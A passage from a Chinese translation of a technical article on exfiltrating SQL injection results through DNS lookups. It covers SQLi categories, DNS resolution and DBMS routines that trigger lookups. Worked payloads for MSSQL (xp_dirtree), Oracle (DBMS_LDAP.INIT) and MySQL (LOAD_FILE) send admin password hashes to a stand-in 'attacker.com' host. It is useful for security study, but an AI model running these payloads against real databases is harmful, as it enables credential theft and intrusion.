0x00 前言
本文描述了一种利用DNS解析过程获取恶意SQL查询结果的先进的SQL注入技术。带有sql查询结果的DNS请求最终被攻击者控制的远程域名服务器拦截并提取出宝贵的数据。
开源SQL注入工具—SqlMap现在已经可以自动完成这个任务。随着SqlMap的升级完成,攻击者可以使用此技术进行快速而低调的数据检索,尤其是在其他标准方法失败的情况下。
0x01 介绍
渗出是一个军事术语,指的是通过隐蔽手段从敌人的领土内部盗取资产。如今它在计算机上有一个绝佳的用法,指的是非法从一个系统中提取数据。从域名服务器(DNS)中提取数据的方法被认为是最隐蔽的渗出方法。这种方法甚至可以通过一系列的信任主机以外的内部和外部域名服务器进行域名查询而用于没有公共网络连接的系统。
DNS是一个相对简单的协议。DNS客户端发送的查询语句和相应的DNS服务器返回的响应语句都使用相同的基本的DNS消息格式。除了区传送为提高其可靠性使用TCP以外,DNS报文都使用UDP封装。如果有人使用了Wireshark之类的工具监视机器,一个使用了DNS的隐蔽信道看起来像一系列转瞬即逝的小光点。
从安全系统中转播DNS查询到任意基于互联网的域名服务器是实现这一不受控制数据信道的基础。即使我们假设目标主机不被允许连接到公共网络,如果目标主机能够解析任意域名,数据还是可能可以经由转发DNS查询而渗出。
当其他更快的SQL注入(SQLI)数据检索技术失败时,攻击者通常会使用逐位检索数据的方法,这是一个非常繁杂而费时的流程。因此,攻击者通常需要发送成千上万的请求来获取一个普通大小的表的内容。我们将要提到的是一种攻击者通过利用有漏洞数据库管理系统(DBMS)发起特制的DNS请求,并在另一端进行拦截来检索恶意SQL语句结果(例如管理员密码),每个循环可传输几十个结果字符的技术。
0x02 技术分类
根据用于数据检索的传输信道,SQLi可分为三个独立的类别:inband, inference(推理) 和out-of-band。
Inband技术使用攻击者和有漏洞的Web应用程序之间现有的渠道来提取数据。通常该通道是标准的Web服务器响应。它的成员union技术使用现有的web页面输出恶意SQL查询的执行结果,而error-based技术则引发特定的恶意SQL查询的执行结果的DBMS的错误消息。
相反的,在Inference技术中,攻击者通过应用程序表现的差异来推断数据的值。Inference技术能够逐位提取恶意SQL查询结果,却没有真正传输数据。
Inference的核心是在服务器执行一系列的布尔查询,观察和最后推导接收结果的含义。根据观察到的特性,它的成员被称为布尔型盲注(bool)和基于时间(time-based)的盲注技术。在布尔型盲注技术中,可见的网络服务器响应内容的变化被用于区分给定的逻辑问题的答案,
而在基于时间的盲注技术中则通过观察Web服务器响应时间的变化来推断答案。
Out-of-band (OOB)技术,与inband相反,使用其它传输信道获取数据,例如超文本传输协议和DNS解析协议。当详细的错误信息被禁用、结果被限制或过滤、出站过滤规则不严和/或当减少查询的数目变得极度重要时inference技术看起来像是唯一的选择,这时使用OOB技术渗透便变得十分有趣。例如,基于HTTP的OOB技术的SQL查询结果变成了发送给HTTP服务器请求的一部分(例如GET参数值)被能访问日志文件的攻击者控制时。此类的技术不像其它的主流技术被广泛应用,主要是其所需的设置非常复杂,但使用它们可以克服许多障碍(如避免不必要的数据库写入和极大地提升利用INSERT/UPDATE语句漏洞的基于时间的SQLI)。#p#
0x03 DNS解析
当一个客户端需要查找程序中使用的网络名时,它会查询DNS服务器。DNS查询有许多不同的解析方式:
如果信息已经被预先用相同的查询获得,客户端可以使用本地缓存信息应答查询。
DNS服务器可以使用其自己的高速缓存和/或区记录的信息来应答查询 - 这个过程被称为迭代。
DNS服务器也可以转发查询给代表所请求的客户端的其他DNS服务器以全面解析名称,然后将回应发送回客户端 - 这个过程被称为递归。
例如,使用递归过程解析名称test.example.com。这种情况发生于DNS服务器和客户端都是第一次启动且没有能用来解析域名查询的本地缓存信息。此外,假设客户端发起的域名查询是一个本地没有其配置区域信息的域名。
首先,默认的DNS服务器解析域名的全名并且确定该域名是一个需要知道地址的权威的顶级域名(TLD)服务器--在这个案例的域名中。然后,它使用迭代(非递归)查询该服务器来获得推荐的example.com域。
当它的地址被完成检索后,被引用的服务器会被联接--这实际上是一个注册example.com域的域名服务器。因为它所配置的区域包含了查询的域名,它会将所得到的IP地址作为一个权威响应返回给发起该过程的原始服务器。
当原始的DNS服务器接收到所请求的查询所获得的权威响应,它转发该响应回客户端,递归查询过程结束。 这类的解决方案通常由DNS服务器尝试解析DNS客户端发起的递归域名查询时发起的,并且有时被称为“遍历树”(walking the tree)。
0x04 引发DNS请求
成功利用DNS从有漏洞的数据库中渗出数据的前提条件是DBMS中有可用的能直接或间接引发DNS解析过程的子程序。 然后这类的子程序被攻击者利用,作为攻击的媒介。
任何可以接受网络地址的函数是最有可能被利用来进行这种攻击的。
4.1 Microsoft SQL Server
扩展存储程序是一个直接运行在微软的地址空间库SQL服务器(MSSQL)的动态链接。有几个未被公开说明的扩展存储程序对于实现本文的目的特别有用的。
攻击者可以使用Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。Windows系统的UNC语法具有通用的形式:
\\ComputerName\SharedFolder\Resource
攻击者能够通过使用自定义制作的地址作为计算机名字段的值引发DNS请求。
4.1.1 master..xp_dirtree
扩展存储程序master..xp_dirtree()用于获取所有文件夹的列表和给定文件夹内部的子文件夹:
master..xp_dirtree ''
例如,要获得C:\Windows run:里的所有文件夹和子文件夹:
EXEC master..xp_dirtree 'C:\Windows';
4.1.2 master..xp_fileexist
扩展存储程序master..xp_fileexist()用于确定一个特定的文件是否存在于硬盘: xp_fileexist '' 例如,要检查boot.ini文件是否存在于磁盘C 运行:
EXEC master..xp_fileexist 'C:\boot.ini';
4.1.3 master..xp_subdirs
扩展存储程序master..xp_subdirs()用于得到给定的文件夹内的文件夹列表:
master..xp_subdirs ''
例如,要获得C:\Windows中的所有次级文件夹:
'EXEC master..xp_subdirs 'C:\Windows';
4.1.4例子
接下来的是的通过MsSQL的扩展存储程序master..xp_dirtree()将管理员(sa)的密码哈希通过DNS传输的例子。
- DECLARE @host varchar(1024);
- SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa')+'.attacker.com';
- EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
这种预先计算的形式被使用,因为扩展存储程序不接受带有参数的子查询。因而使用临时变量存储SQL查询的结果。#p#
4.2 Oracle
Oracle提供的PL/ SQL包被捆绑在它的Oracle数据库服务器来扩展数据库功能。为了实现本文的目的,其中几个用于网络接入的包让人特别感兴趣。
4.2.1 UTL_INADDR.GET_HOST_ADDRESS
UTL_INADDR包用于互联网的寻址--诸如检索本地和远程主机的主机名和IP的地址。
它的成员函数GET_HOST_ADDRESS()用于检索特定主机的IP:
UTL_INADDR.GET_HOST_ADDRESS('')
例如,为了获得test.example.com的IP地址,运行:
SELECT UTL_INADDR.GET_HOST_ADDRESS('test.example.com');
4.2.2 UTL_HTTP.REQUEST
UTL_HTTP包用于从SQL和PL/SQL中标注出HTTP。 它的程序REQUEST()回从给定的地址检索到的第1-2000字节的数据: UTL_HTTP.REQUEST('')
例如,为了获得http://test.example.com/index.php页面的前两千字节的数据,运行:
SELECT UTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;
4.2.3 HTTPURITYPE.GETCLOB
HTTPURITYPE类的实例方法GETCLOB()返回从给定地址中检索到的CLOB(Character Large Object) HTTPURITYPE('').GETCLOB()
例如,从页面http://test.example.com/index.php开始内容检索 运行:
SELECT HTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;
4.2.4 DBMS_LDAP.INIT
DBMS_LDAP包使得PL/SQL程序员能够访问轻量级目录访问协议(LDAP)服务器。它的程序INIT()用于初始化与LDAP服务器的会话: DBMS_LDAP.INIT(('', )
例如:初始化与主机test.example.com的连接 运行:
SELECT DBMS_LDAP.INIT(('test.example.com',80) FROM DUAL;
攻击者可以使用任何以上提到的Oracle子程序发起DNS请求。然而,在Oracle 11g中,除了DBMS_LDAP.INIT()以外的所有可能导致网络访问子程序都受到限制。
4.2.5例子
以下例子是系统管理员(SYS)的密码哈希被Oracle程序DBMS_LDAP.INIT()通过DNS解析机制传输:
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.attacker.com',80) FROM DUAL;
#p#
4.3 MySQL
4.3.1 LOAD_FILE
MySQL的函数LOAD_FILE()读取文件内容并将其作为字符串返回: LOAD_FILE('')
例如,要获取C:\Windows\system.ini文件的内容 运行:
SELECT LOAD_FILE('C:\\Windows\\system.ini') ;
4.3.2例子
以下是使用MySQL的函数LOAD_FILE()将系统管理员的密码通过DNS解析机制传输的例子:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.attacker.com\\foobar'));
4.4 PostgreSQL
4.4.1 COPY
PostgreSQL的声明COPY用于在文件系统的文件和表之间拷贝数据:
COPY